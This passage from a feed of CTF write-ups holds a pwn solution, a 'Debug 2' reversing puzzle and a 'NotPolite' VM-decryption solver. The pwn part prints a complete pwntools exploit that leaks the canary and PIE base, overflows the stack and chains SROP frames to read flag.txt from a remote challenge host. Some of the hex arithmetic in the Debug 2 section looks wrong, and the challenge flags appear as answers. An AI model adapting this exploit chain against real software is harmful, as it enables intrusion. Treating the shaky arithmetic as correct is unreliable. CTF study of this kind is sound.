(SROP) for Arbitrary Read:</h3><p>After leaking the necessary addresses, the next phase of the exploit targets the second prompt (leave final report&gt; ) to initiate an SROP attack.</p><h4>Vulnerability:</h4><p>The second interaction point involves another buffer overflow. The solver script indicates:</p><ul><li>A buffer at rbp-0x70.</li><li>A read operation that accepts 0x160 bytes (352 bytes).</li></ul><p>This allows for a significant overflow, enough to overwrite the stack canary, saved RBP, and then pivot the stack to an attacker-controlled region using an SROP chain.</p><h4>SROP Primer:</h4><p>Sigreturn-Oriented Programming (SROP) is an advanced exploitation technique that leverages the sigreturn syscall. When a signal is delivered to a process, the kernel saves the process’s context (registers, stack pointer, instruction pointer, etc.) onto the stack in a sigcontext structure (also known as a sigreturn frame). Upon returning from the signal handler, the sigreturn syscall restores the process’s context from this frame. If an attacker can control the contents of this sigreturn frame on the stack and trigger a sigreturn syscall, they can achieve arbitrary register control and effectively execute arbitrary code, bypassing NX and other mitigations.</p><h4>Crafting the SROP Frame (Phase 2):</h4><p>The goal of the first SROP frame is to perform a read syscall to write a larger, more complex ROP chain into a writable memory region, specifically the .bss segment. The bss_base address is calculated from the PIE base.</p><pre># SROP frame for read(0, bss_base, 0x1000) - read more payload to .bss<br>frame1 = SigreturnFrame()<br>frame1.rax = 0          # read syscall<br>frame1.rdi = 0          # stdin<br>frame1.rsi = bss_base   # buffer in .bss<br>frame1.rdx = 0x1000     # size<br>frame1.rsp = bss_base   # pivot stack to bss after read<br>frame1.rip = syscall_ret<br>frame1.cs = 0x33<br>frame1.ss = 0x2b<br><br>frame1_bytes = bytes(frame1)</pre><p>Explanation of frame1:</p><ul><li>rax = 0: Sets the syscall number to 0, corresponding to the read syscall.</li><li>rdi = 0: Sets the first argument to 0, representing stdin.</li><li>rsi = bss_base: Sets the second argument to the address of the .bss segment, where the next stage of the payload will be written.</li><li>rdx = 0x1000: Sets the third argument to 0x1000 (4096 bytes), the maximum size to read.</li><li>rsp = bss_base: Crucially, this pivots the stack pointer to bss_base. After the read syscall returns, the sigreturn will attempt to restore the stack from bss_base, effectively giving us control over the stack.</li><li>rip = syscall_ret: Sets the instruction pointer to a syscall; ret gadget. This will execute the read syscall and then return, which will then trigger the sigreturn syscall due to the crafted stack.</li><li>cs = 0x33, ss = 0x2b: Standard segment registers for 64-bit user mode.</li></ul><h4>Building the Overflow Payload (Phase 2):</h4><p>The overflow payload for the leave final report prompt is constructed to overwrite the stack up to the return address, inserting the canary and then the ROP chain to trigger the sigreturn syscall.</p><pre># Build overflow payload<br>payload2 = b&#39;B&#39; * 0x68          # padding to canary<br>payload2 += p64(canary)         # canary<br>payload2 += p64(0)              # saved rbp (don&#39;t care)<br>payload2 += p64(pop_rax_ret)    # ROP: pop rax<br>payload2 += p64(15)             # rax = 15 (sigreturn)<br>payload2 += p64(syscall_ret)    # syscall -&gt; sigreturn<br>payload2 += frame1_bytes[:0xD0] # truncated frame (208 bytes, all we can fit)<br><br># Pad to exact 0x160<br>payload2 = payload2[:0x160]</pre><p>Explanation of payload2:</p><ul><li>b’B’ * 0x68: Fills the buffer up to the canary. The buffer is at rbp-0x70, and the canary is at rbp-0x8. The distance is 0x70–0x8 = 0x68 bytes.</li><li>p64(canary): Inserts the leaked stack canary to bypass the stack protection.</li><li>p64(0): Overwrites the saved RBP. Its value doesn’t matter for this exploit, so 0 is used.</li><li>p64(pop_rax_ret): A ROP gadget that pops a value into rax and then returns. This is used to set rax to 15 (the sigreturn syscall number).</li><li>p64(15): The value 15 for rax.</li><li>p64(syscall_ret): A ROP gadget that executes a syscall and then returns. This will trigger the sigreturn syscall because rax is 15.</li><li>frame1_bytes[:0xD0]: The crafted sigreturn frame. The 0xD0 (208 bytes) truncation is necessary because the total overflow space is 0x160 (352 bytes) minus the 0x68 (104 bytes) padding, canary, saved RBP, and the pop_rax_ret and syscall_ret gadgets (0x68 + 0x8 + 0x8 + 0x8 + 0x8 = 0x90 bytes). So, 0x160–0x90 = 0xD0 bytes are available for the frame.</li></ul><p>After sending payload2, the sigreturn syscall is triggered, and the process’s context is restored from frame1. This effectively executes read(0, bss_base, 0x1000) and sets rsp to bss_base, preparing for the next stage.</p><h3>Step 4: Phase 3 — SROP Chain for Flag Retrieval:</h3><p>With the stack now pivoted to bss_base, the program is waiting for a new payload to be read into this region. This payload will contain a series of SROP frames to perform openat, read, and write syscalls to retrieve the flag.</p><h4>SROP Frame for openat:</h4><p>The first frame in the .bss payload is designed to open flag.txt.</p><pre># Frame for openat(AT_FDCWD, flag_str_addr, O_RDONLY)<br>frame_open = SigreturnFrame()<br>frame_open.rax = 257        # openat<br>frame_open.rdi = 0xffffff9c # AT_FDCWD (-100 as unsigned)<br>frame_open.rsi = flag_str_addr<br>frame_open.rdx = 0          # O_RDONLY<br>frame_open.rsp = bss_base + 0x200  # next ROP chain location<br>frame_open.rip = syscall_ret<br>frame_open.cs = 0x33<br>frame_open.ss = 0x2b</pre><p>Explanation of frame_open:</p><ul><li>rax = 257: openat syscall number.</li><li>rdi = 0xffffff9c: AT_FDCWD (current working directory), represented as -100 in signed decimal.</li><li>rsi = flag_str_addr: Address of the string “flag.txt” within the .bss segment.</li><li>rdx = 0: O_RDONLY flag for read-only access.</li><li>rsp = bss_base + 0x200: Pivots the stack to the location of the next SROP frame.</li><li>rip = syscall_ret: Executes the openat syscall.</li></ul><h4>SROP Frame for read:</h4><p>After opening the file, the next frame reads its content into a buffer in .bss.</p><pre># Frame for read(3, bss_base+0x500, 0x100) - read flag content<br>frame_read = SigreturnFrame()<br>frame_read.rax = 0          # read<br>frame_read.rdi = 3          # fd (openat should return 3)<br>frame_read.rsi = bss_base + 0x500<br>frame_read.rdx = 0x100<br>frame_read.rsp = bss_base + 0x400  # next ROP chain location<br>frame_read.rip = syscall_ret<br>frame_read.cs = 0x33<br>frame_read.ss = 0x2b</pre><p>Explanation of frame_read:</p><ul><li>rax = 0: read syscall number.</li><li>rdi = 3: File descriptor for the opened flag.txt (assuming openat returns 3).</li><li>rsi = bss_base + 0x500: Buffer in .bss to store the flag content.</li><li>rdx = 0x100: Maximum bytes to read.</li><li>rsp = bss_base + 0x400: Pivots the stack to the location of the next SROP frame.</li><li>rip = syscall_ret: Executes the read syscall.</li></ul><h4>SROP Frame for write:</h4><p>Finally, the last frame writes the read flag content to standard output.</p><pre># Frame for write(1, bss_base+0x500, 0x100) - write flag to stdout<br>frame_write = SigreturnFrame()<br>frame_write.rax = 1         # write<br>frame_write.rdi = 1         # stdout<br>frame_write.rsi = bss_base + 0x500<br>frame_write.rdx = 0x100<br>frame_write.rsp = bss_base + 0x600<br>frame_write.rip = syscall_ret<br>frame_write.cs = 0x33<br>frame_write.ss = 0x2b</pre><p>Explanation of frame_write:</p><ul><li>rax = 1: write syscall number.</li><li>rdi = 1: File descriptor for stdout.</li><li>rsi = bss_base + 0x500: Buffer containing the flag content.</li><li>rdx = 0x100: Number of bytes to write.</li><li>rsp = bss_base + 0x600: Points to a safe location on the stack after the current frame.</li><li>rip = syscall_ret: Executes the write syscall.</li></ul><h4>Building the .bss Payload:</h4><p>The .bss payload combines these SROP frames and the “flag.txt” string, carefully padded to ensure correct alignment and execution flow.</p><pre>bss_payload = b&#39;&#39;<br><br># At bss_base+0x00: ROP chain for openat SROP<br>bss_payload += p64(pop_rax_ret)<br>bss_payload += p64(15)<br>bss_payload += p64(syscall_ret)<br>bss_payload += bytes(frame_open)<br><br># Pad to offset 0x200<br>bss_payload = bss_payload.ljust(0x200, b&#39;\x00&#39;)<br><br># At bss_base+0x200: ROP chain for read SROP<br>bss_payload += p64(pop_rax_ret)<br>bss_payload += p64(15)<br>bss_payload += p64(syscall_ret)<br>bss_payload += bytes(frame_read)<br><br># Pad to offset 0x300<br>bss_payload = bss_payload.ljust(0x300, b&#39;\x00&#39;)<br><br># At bss_base+0x300: &quot;flag.txt&quot; string<br>bss_payload += b&#39;flag.txt\x00&#39;<br><br># Pad to offset 0x400<br>bss_payload = bss_payload.ljust(0x400, b&#39;\x00&#39;)<br><br># At bss_base+0x400: ROP chain for write SROP<br>bss_payload += p64(pop_rax_ret)<br>bss_payload += p64(15)<br>bss_payload += p64(syscall_ret)<br>bss_payload += bytes(frame_write)<br><br># Pad to 0x1000<br>bss_payload = bss_payload.ljust(0x1000, b&#39;\x00&#39;)<br><br>r.send(bss_payload)</pre><p>This payload is sent to the process, which is now reading into bss_base. The series of pop_rax_ret, p64(15), syscall_ret, and the SROP frame effectively executes each syscall (openat, read, write) in sequence, ultimately printing the flag to standard output.</p><h3>Final solver :</h3><pre>from pwn import *<br><br>context.arch = &#39;amd64&#39;<br>context.os = &#39;linux&#39;<br><br># Connect<br>r = remote(&#39;209.74.79.65&#39;, 10036)<br><br># Receive banner + prompt<br>r.recvuntil(b&#39;shift code&gt; &#39;)<br><br># Phase 1: Leak canary, PIE, stack<br># Read 0x30 bytes, echoes back 0x60 bytes (leaks canary + saved rbp + ret addr)<br># Buffer at rbp-0x50, memset clears 0x40 bytes (rbp-0x50 to rbp-0x10)<br># Layout of 0x60 leaked bytes:<br>#   [0:48]  our input<br>#   [48:64] zeroed<br>#   [64:72] uninitialized (rbp-0x10 to rbp-0x08)<br>#   [72:80] canary (rbp-0x08)<br>#   [80:88] saved rbp (stack leak)<br>#   [88:96] return address (PIE leak)<br><br>payload1 = b&#39;A&#39; * 48  # fill the read buffer<br>r.send(payload1)<br><br># Receive &quot;desk note: &quot; then the 0x60 byte echo then &quot;\n&quot;<br>r.recvuntil(b&#39;desk note: &#39;)<br>leak = r.recv(0x60)<br>r.recvuntil(b&#39;\n&#39;)<br><br>canary = u64(leak[72:80])<br>saved_rbp = u64(leak[80:88])<br>ret_addr = u64(leak[88:96])<br><br>log.info(f&quot;Canary: {hex(canary)}&quot;)<br>log.info(f&quot;Saved RBP: {hex(saved_rbp)}&quot;)<br>log.info(f&quot;Return addr: {hex(ret_addr)}&quot;)<br><br># Return addr should be 0x15b2 + PIE (call to init_seccomp after shift_code)<br># Actually looking at main: call shift_code is at 0x15ad, so return is 0x15b2<br>pie_base = ret_addr - 0x15b2<br>log.info(f&quot;PIE base: {hex(pie_base)}&quot;)<br><br># Gadgets<br>pop_rax_ret = pie_base + 0x126d<br>syscall_ret = pie_base + 0x1276<br>bss_base = pie_base + 0x4040  # cleared .bss area<br><br># Phase 2: Final report overflow<br># Buffer at rbp-0x70, reads 0x160 bytes<br># Overflow layout:<br>#   0x68 bytes padding + 8 bytes canary + 8 bytes saved_rbp + ROP chain<br># ROP space: 0x160 - 0x78 = 0xE8 = 232 bytes<br><br>r.recvuntil(b&#39;leave final report&gt; &#39;)<br><br># SROP frame for read(0, bss_base, 0x1000) - read more payload to .bss<br>frame1 = SigreturnFrame()<br>frame1.rax = 0          # read syscall<br>frame1.rdi = 0          # stdin<br>frame1.rsi = bss_base   # buffer in .bss<br>frame1.rdx = 0x1000     # size<br>frame1.rsp = bss_base   # pivot stack to bss after read<br>frame1.rip = syscall_ret<br>frame1.cs = 0x33<br>frame1.ss = 0x2b<br><br>frame1_bytes = bytes(frame1)<br><br># Build overflow payload<br>payload2 = b&#39;B&#39; * 0x68          # padding to canary<br>payload2 += p64(canary)         # canary<br>payload2 += p64(0)              # saved rbp (don&#39;t care)<br>payload2 += p64(pop_rax_ret)    # ROP: pop rax<br>payload2 += p64(15)             # rax = 15 (sigreturn)<br>payload2 += p64(syscall_ret)    # syscall -&gt; sigreturn<br>payload2 += frame1_bytes[:0xD0] # truncated frame (208 bytes, all we can fit)<br><br># Pad to exact 0x160<br>payload2 = payload2[:0x160]<br><br>log.info(f&quot;Payload2 length: {len(payload2)}&quot;)<br>r.send(payload2)<br><br># Wait a moment for sigreturn to execute read()<br>sleep(0.5)<br><br># Phase 3: Send SROP chain to .bss for openat + read + write<br># Now the program is waiting for us to send data to bss_base<br># After read returns, rsp = bss_base, so we need a ROP chain at bss_base<br><br># String &quot;flag.txt&quot; stored after the ROP chain<br>flag_str_addr = bss_base + 0x300<br><br># Frame for openat(AT_FDCWD, flag_str_addr, O_RDONLY)<br>frame_open = SigreturnFrame()<br>frame_open.rax = 257        # openat<br>frame_open.rdi = 0xffffff9c # AT_FDCWD (-100 as unsigned)<br>frame_open.rsi = flag_str_addr<br>frame_open.rdx = 0          # O_RDONLY<br>frame_open.rsp = bss_base + 0x200  # next ROP chain location<br>frame_open.rip = syscall_ret<br>frame_open.cs = 0x33<br>frame_open.ss = 0x2b<br><br># Frame for read(3, bss_base+0x500, 0x100) - read flag content<br>frame_read = SigreturnFrame()<br>frame_read.rax = 0          # read<br>frame_read.rdi = 3          # fd (openat should return 3)<br>frame_read.rsi = bss_base + 0x500<br>frame_read.rdx = 0x100<br>frame_read.rsp = bss_base + 0x400  # next ROP chain location<br>frame_read.rip = syscall_ret<br>frame_read.cs = 0x33<br>frame_read.ss = 0x2b<br><br># Frame for write(1, bss_base+0x500, 0x100) - write flag to stdout<br>frame_write = SigreturnFrame()<br>frame_write.rax = 1         # write<br>frame_write.rdi = 1         # stdout<br>frame_write.rsi = bss_base + 0x500<br>frame_write.rdx = 0x100<br>frame_write.rsp = bss_base + 0x600<br>frame_write.rip = syscall_ret<br>frame_write.cs = 0x33<br>frame_write.ss = 0x2b<br><br># Build bss payload<br>bss_payload = b&#39;&#39;<br><br># At bss_base+0x00: ROP chain for openat SROP<br>bss_payload += p64(pop_rax_ret)<br>bss_payload += p64(15)<br>bss_payload += p64(syscall_ret)<br>bss_payload += bytes(frame_open)<br><br># Pad to offset 0x200<br>bss_payload = bss_payload.ljust(0x200, b&#39;\x00&#39;)<br><br># At bss_base+0x200: ROP chain for read SROP<br>bss_payload += p64(pop_rax_ret)<br>bss_payload += p64(15)<br>bss_payload += p64(syscall_ret)<br>bss_payload += bytes(frame_read)<br><br># Pad to offset 0x300<br>bss_payload = bss_payload.ljust(0x300, b&#39;\x00&#39;)<br><br># At bss_base+0x300: &quot;flag.txt&quot; string<br>bss_payload += b&#39;flag.txt\x00&#39;<br><br># Pad to offset 0x400<br>bss_payload = bss_payload.ljust(0x400, b&#39;\x00&#39;)<br><br># At bss_base+0x400: ROP chain for write SROP<br>bss_payload += p64(pop_rax_ret)<br>bss_payload += p64(15)<br>bss_payload += p64(syscall_ret)<br>bss_payload += bytes(frame_write)<br><br># Pad to 0x1000<br>bss_payload = bss_payload.ljust(0x1000, b&#39;\x00&#39;)<br><br>r.send(bss_payload)<br><br># Get the flag<br>sleep(1)<br>try:<br>    output = r.recv(timeout=5)<br>    print(f&quot;Output: {output}&quot;)<br>except:<br>    print(&quot;No output received&quot;)<br><br>r.interactive()</pre><h3>Step 5: Exploitation &amp; Output:</h3><p>Running the provided solver script against the remote instance will produce output similar to the following:</p><pre>$ python exploit.py<br>[*] Connecting to 209.74.79.65:10036<br>[*] Canary: 0xXXXXXXXXXXXXXX<br>[*] Saved RBP: 0xXXXXXXXXXXXXXX<br>[*] Return addr: 0xXXXXXXXXXXXXXX<br>[*] PIE base: 0xXXXXXXXXXXXXXX<br>[*] Payload2 length: 352<br>[*] Sending payload...<br>[*] Sending bss payload...<br>Output: b&#39;JCCHilal{S1GR37URN_1S_P0W3RFUL_W1TH_S3CC0MP_BYP4SS}&#39;<br>[*] Switching to interactive mode</pre><p>(Note: The Xs in the addresses will be replaced by actual hexadecimal values during execution.)</p><p>The output clearly shows the leaked addresses, the successful execution of the SROP chain, and finally, the flag.</p><h3>Final Flag:</h3><pre>JCCHilal{S1GR37URN_1S_P0W3RFUL_W1TH_S3CC0MP_BYP4SS}</pre><p>Thats all pwn challenges in the ctf lmao , Now 1 last which is the Rev i blooded, im mainly Rev and i only made a writeup for 1 Rev quite ironic(i got lazy and deleted the files anyway :3)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/307/1*9A_wtXltgT6AkVHa0R5oJA.gif" /></figure><h3>6: Debug 2</h3><p>Category: Reverse Engineering<br>Difficulty: Easy</p><p>Description: Eid al-Fitr is a time of celebration, sweets, and surprises. But this year, a small mystery was hidden inside a program.<br>Several values are quietly hidden within the code. Only those who explore carefully will be able to find them and combine them into the final number.<br>Discover the number and place it inside the flag format to reveal the flag.</p><p><strong>Flag format:</strong> If the answer was <em>0x2A</em> your flag would be <em>JCChilal{42}</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*7fT9r3z_iSXAZSvHZAOq7Q.png" /><figcaption>chall description</figcaption></figure><h3>Challenge Overview:</h3><p>The “Debug2 — Eid al-Fitr Mystery” challenge presents a binary that conceals several values within its code. The objective is to meticulously analyze the binary, extract these hidden values, and combine them in a specific manner to construct the final flag. The challenge description hints at a multi-part puzzle, requiring careful exploration to uncover all components.</p><h3>Step 1: Initial Reconnaissance and Binary Analysis:</h3><p>The initial phase involves identifying the characteristics of the provided binary and looking for any immediate clues.</p><h4>File Identification:</h4><p>The provided file, debug2, is identified as a 64-bit Linux ELF executable. Further analysis using checksec (if available) would likely reveal that it is a Position-Independent Executable (PIE), meaning its base address is randomized at runtime. This is a common mitigation in modern binaries, though for this particular challenge, it primarily affects static analysis by requiring relative addressing.</p><h4>General Investigation with strings:</h4><p>Running the strings utility on the debug2 binary reveals several interesting messages that provide significant hints about the challenge’s structure:</p><pre>Part 1: The beginning is hidden in the shadows...<br>--- [ JCC Security Vault ] ---<br>Investigate part1, part2, and part3 to assemble the code.</pre><p>These strings confirm that the challenge is divided into three distinct logical</p><p>parts, and that the ultimate goal is to combine findings from each part to form a “code” (likely the flag).</p><h3>Step 2: Disassembly and Value Extraction:</h3><p>To uncover the hidden values, we proceed with disassembling the binary using objdump -d. This allows us to examine the assembly code of the main function and the three identified logical blocks.</p><h4>Part 1 Analysis (Address 0x1139):</h4><p>Examining the assembly code for the first part reveals a direct assignment operation:</p><pre>movl $0x773070, -0x4(%rbp)</pre><p>Explanation: This instruction moves the immediate hexadecimal value 0x773070 into a 4-byte memory location on the stack, relative to the base pointer (rbp).</p><ul><li>Hexadecimal Value: 0x773070</li><li>Decimal Conversion: 7811184</li><li>Hidden Interpretation: As hinted by the challenge, these decimal values might represent ASCII characters. Converting 78, 111, 84 to their ASCII equivalents yields “NoT”.</li></ul><h4>Part 2 Analysis (Address 0x115a):</h4><p>The second part of the code involves a loop that performs repeated addition:</p><pre># (Assembly code for loop, conceptually)<br># Loop adds 0xae837ce3 4 times</pre><p>Explanation: The loop iteratively adds the constant hexadecimal value 0xae837ce3 to an accumulator variable exactly four times. To find the total value, we perform the multiplication:</p><p>4 * 0xae837ce3 = 0x2ba0f338c</p><ul><li>Total Value (Hexadecimal): 0x2ba0f338c</li><li>Decimal Conversion: 11711411084</li><li>Hidden Interpretation: Converting the decimal values 117, 114, 110, 84 to ASCII yields “urnT”.</li></ul><h4>Part 3 Analysis (Address 0x118e):</h4><p>The third part of the code performs a multiplication operation involving a constant and an argument passed from main:</p><pre># (Assembly code for multiplication, conceptually)<br># Multiplication: constant * 10</pre><p>Explanation: This function takes an argument, which is observed to be the literal value 10 passed from the main function. It then multiplies a 64-bit constant (0x0f7fb4f57f317fd3) by this argument:</p><p>10 * 0x0f7fb4f57f317fd3 = 0x9af9119af9119a2e</p><ul><li>Total Value (Hexadecimal): 0x9af9119af9119a2e</li><li>Decimal Conversion: 11168101991051099710</li><li>Hidden Interpretation: Converting the decimal values 111, 68, 101, 99, 105, 109, 97, 10 to ASCII yields “oDecima\n”.</li></ul><h3>Step 3: Decoding the Mystery and Flag Construction:</h3><p>After extracting and interpreting the values from each part, we have three distinct pieces of information:</p><p>1.Part 1: 7811184 (ASCII: “NoT”)</p><p>2.Part 2: 11711411084 (ASCII: “urnT”)</p><p>3.Part 3: 11168101991051099710 (ASCII: “oDecima\n”)</p><p>Concatenating the ASCII interpretations reveals a crucial hint:</p><blockquote><strong><em>“NoT” + “urnT” + “oDecima\n” = “No Turn To Decimal”</em></strong></blockquote><p>At first what i was doing was multiplying the values and then adding them up and placing the sum inside the format and no matter how i ordered the multiplicaton flag was always incorrect, and i was like what? is there something wrong with the chall?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*4uuasiyhaduUNTNcfm8lPQ.gif" /><figcaption>Footage of me</figcaption></figure><p>Then i figured out it was just putting the numbers next to each other not adding or multiplying, adding was meant as in gluing values next to each other, This phrase, “No Turn To Decimal,” serves as a meta-hint for the final flag construction. It instructs us not to perform any further mathematical operations (like summing or converting the combined result back to hexadecimal) on the extracted decimal numbers. Instead, it implies that the flag is formed by simply concatenating the raw decimal strings obtained from each part.</p><h3>Final Flag Assembly:</h3><p>Following the hint, we concatenate the three decimal results in their original order:</p><p>1.7811184</p><p>2.11711411084</p><p>3.11168101991051099710</p><p>Concatenated Result: 78111841171141108411168101991051099710</p><p>This concatenated decimal string forms the core of the flag.</p><h3>Final Flag:</h3><pre>JCCHilal{78111841171141108411168101991051099710}</pre><p>And with that we secured a first blood, with a good 10 minute difference!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*NR6qXZqmd8VIeK5TS6eAdA.png" /><figcaption>Thryve first blood</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j7y3HBfv8plcwQ4CnREfEA.jpeg" /><figcaption>First blood</figcaption></figure><p>If u have reached this far then thank you so much for reading :33, and i want to point a huge shoutout to this guy Ahmad for providing me with screenshots of the challs so i can add them to this write up!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/513/1*sydjz7xS3ig9OaiBaIlchA.png" /><figcaption>Shout out</figcaption></figure><p>Thank you for reading and I hope to see u more often on my page!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a31dd785743e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Reverse engineering: NotPolite]]></title>
            <link>https://medium.com/@3mksaad1600/reverse-engineering-notpolite-4ffc1cc0a936?source=rss-e1dedd3b090c------2</link>
            <guid isPermaLink="false">https://medium.com/p/4ffc1cc0a936</guid>
            <category><![CDATA[cyberxbytes]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[vm-opcode]]></category>
            <dc:creator><![CDATA[3mksaad1600]]></dc:creator>
            <pubDate>Wed, 25 Feb 2026 20:00:58 GMT</pubDate>
            <atom:updated>2026-02-25T20:00:58.234Z</atom:updated>
            <content:encoded><![CDATA[<p>CyberXbytes reverese engineering challenge.</p><p>Author: Saad💛(3mksaad1600)</p><h3>Challenge Overview:</h3><p>This document presents a comprehensive write-up for the Notpolite reverse engineering challenge. The objective was to decrypt a hidden Virtual Machine (VM) bytecode and interpret its instructions to ultimately recover the flag.</p><p>Binary: notpolite<br>Flag Format: CyberXbytes{…}<br>Difficulty: Hard<br>Description: “Can you charm the beast, or does it devour?”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Frar62POS0ZASqku7L7S_A.png" /><figcaption>Challenge description</figcaption></figure><h3>1. Initial Investigation:</h3><p>The <strong><em>notpolite </em></strong>binary was identified as a 64-bit ELF executable. Initial reconnaissance using the <strong><em>strings </em></strong>utility revealed several intriguing, albeit misleading, text snippets:</p><pre>The algorithm was not polite<br>but handsome<br>and yeah, I think everyone can do it</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EDdmMQGbaaWDTVOlJ0RlDg.png" /><figcaption>Binary output</figcaption></figure><p>These strings appeared to be decoys, designed to distract analysts. Further examination of the binary’s disassembly using objdump indicated a complex initialization routine, followed by a loop structure strongly suggestive of a Virtual Machine (VM) dispatcher.</p><h3>2. Identifying the Decryption Routine:</h3><p>First i dropped the binary into IDA:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3BOgURnXZwDuYQyUq1xvDg.png" /><figcaption>main function</figcaption></figure><p>Translating this Assembly code to C-Code turn into:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*5HGpAkQ8vg3CvYSa" /><figcaption>C pseudocode</figcaption></figure><p>its now more readable, as we can see when its run all these strings are printed via puts.</p><p>but the last one is suspicious it contains another hidden function next to it that doesnt print to our screen or we dont see the result of.</p><p>looking into the function<strong> sub_401126</strong> we can see the following structure:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*JLOx1NcWOsJoasoO" /><figcaption><strong>sub_401126 structure</strong></figcaption></figure><p>Detailed analysis of the disassembly led to the identification of a critical decryption loop located at memory address 0x401126. This routine was responsible for transforming an obfuscated bytecode into an executable format for the VM. The decryption algorithm was characterized by the following steps:</p><p>1.Data Source: Encrypted bytes were loaded sequentially from a data section, specifically starting at address 0x402020 within the .rodata segment.</p><p>2.Iteration Count: The decryption process iterated 0x1fc (equivalent to 508 in decimal) times, indicating the total length of the encrypted bytecode.</p><p>3.Decryption Logic: Each loaded byte was subjected to an XOR operation with a dynamically changing key.</p><p>4.Storage: The resulting decrypted byte was then stored in a buffer located at 0x404040 within the .data segment.</p><p>5.Key Update Mechanism: The key itself was updated in each iteration using a Linear Congruential Generator (LCG) with the formula: key = (key * 0x1d + 0x4b) &amp; 0xff. The initial value of the key was 0x5a.</p><h3>3. Analyzing the VM Opcodes:</h3><p>The buffer at 0x404040, containing the decrypted bytecode, served as the instruction set for a simple VM. By meticulously tracing the VM dispatcher, which commenced at 0x401195, the functionality of various opcodes was mapped:</p><p>•Opcode ****1: This opcode was responsible for a LOAD operation, immediately followed by the value to be loaded.</p><p>•Opcode ****6: This opcode performed a STORE operation, taking the previously loaded value and placing it into a specific index within a designated memory array.</p><p>•Other Opcodes: Additional opcodes were observed to manage control flow and maintain the VM’s internal state.</p><h3>4. Reconstructing the Flag:</h3><p>The process of flag reconstruction involved a multi-step approach:</p><ol><li>Extraction of Encrypted Data: The raw encrypted data was extracted directly from the binary’s .rodata section at 0x402020.</li></ol><p>2. Decryption: The identified decryption algorithm, including the initial key and LCG update mechanism, was applied to the extracted data to obtain the cleartext VM bytecode.</p><p>3. Bytecode Interpretation: The decrypted bytecode was then parsed, specifically focusing on the LOAD (opcode 1) and STORE (opcode 6) instructions. These instructions revealed the individual characters of the flag and their respective positions within a flag buffer.</p><p>By systematically following these steps, the complete flag was successfully reconstructed.</p><h3>5. Solver Script:</h3><p>The following Python script automates the entire process of decryption and flag reconstruction, directly implementing the logic derived from the reverse engineering efforts.</p><pre>def solve():<br>    # Extracted hex data from the .rodata section at 0x402020<br>    enc_hex = (<br>        &quot;5b3e726f d6706105 a3adfdb5 a01b28ea 8fcb8737 6fb32ed7 3af454a1 336131d9 &quot;<br>        &quot;7c1b9c0e 87173fab c3311a7f ceb8258d 0365a5ac 886b4072 2993274f 576c5657 &quot;<br>        &quot;92bcd5a9 13b95930 e4eb3416 9f5f6f23 2b52c26f a6000e15 633d4d8b 70bb78fa &quot;<br>        &quot;db5bc747 3f367ef7 0a8421b1 13f18188 4caded1e b7a789ba 93b76a85 9f48f59d &quot;<br>        &quot;d9f4f59d 58f59182 7a23795e 27fba66d 634c7db9 e948a927 b47d8526 d3efb932 &quot;<br>        &quot;fbee1285 7790c325 49cc9d83 4035c90a e5eb2956 0f8ecefd db14f3c1 d980d1a8 &quot;<br>        &quot;1c2d3d2e f737c9ca 6308ba85 6fd890ad b9844593 2895e192 97b3d96e f754f66d &quot;<br>        &quot;33cd30cf bed1ee7b 6405dd74 8079104a b32b658f 4f430e31 02548901 15d91169 &quot;<br>        &quot;5c79646e 86771d13 a3c7fad1 b61859ed eddd854b 68c938d2 57f305b7 371a36b1 &quot;<br>        &quot;6a1cef09 f50139cb c4490c76 abbf4d9b 0b00a2d1 9e602575 5d852d2a 5019405a &quot;<br>        &quot;f7bba5bf 1fee5e51 f2e45511 f5496174 2c19d47e da077d03 735d4af1 66a819fd &quot;<br>        &quot;ad4dd521 384968e2 698345a7 07a686d1 5aac8119 d5b189c5 94c97c86 f34f8d8b &quot;<br>        &quot;db8ff2f1 4ef0e185 3d357d66 20b9b06a 354b25af ef22ae71 a274ed21 95f9b155 &quot;<br>        &quot;fcb9048e 21979d33 43a19ad1 5638af0d adfd2536 08c9d8f2 a61385d7 d7edd6f1 &quot;<br>        &quot;0a3c5b29 b521d9aa 6449ac96 12dfcdbb abe942d1 3e808795 dda5cd0e f019e07a &quot;<br>        &quot;4edb65df bfb6fe51 9204b331 b5690124 cc19749e 2a273d23 1328ea31 06&quot;<br>    ).replace(&quot; &quot;, &quot;&quot;)<br>    <br>    data = bytes.fromhex(enc_hex)<br><br>    # Re-implementing the decryption logic<br>    key = 0x5a<br>    decrypted = bytearray()<br>    for b in data:<br>        decrypted.append(b ^ key)<br>        key = (key * 0x1d + 0x4b) &amp; 0xff<br><br>    # Interpret the VM bytecode<br>    # Opcode 1: LOAD &lt;val&gt;, Opcode 6: STORE &lt;index&gt;<br>    res = {}<br>    i = 0<br>    while i &lt; len(decrypted):<br>        op = decrypted[i]<br>        if op == 1:<br>            val = decrypted[i+1]<br>            i += 2<br>            if i &lt; len(decrypted) and decrypted[i] == 6:<br>                pos = decrypted[i+1]<br>                i += 2<br>                res[pos] = val<br>        else:<br>            i += 1<br><br>    # Reconstruct the string from indices<br>    flag = &quot;&quot;<br>    for idx in range(max(res.keys()) + 1):<br>        flag += chr(res.get(idx, ord(&quot;?&quot;)))<br>    <br>    print(f&quot;Flag: {flag}&quot;)<br><br>if __name__ == &quot;__main__&quot;:<br>    solve()</pre><h3>6. Final Flag:</h3><p>Upon successful execution of the solver script, the following flag is revealed:</p><pre>CyberXbytes{hmmmmm_i_think_every1_can_doitdoitdoitgood}</pre><p>If u enjoyed this write up, follow for more please and support the page, check out other ones that i made too!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4ffc1cc0a936" 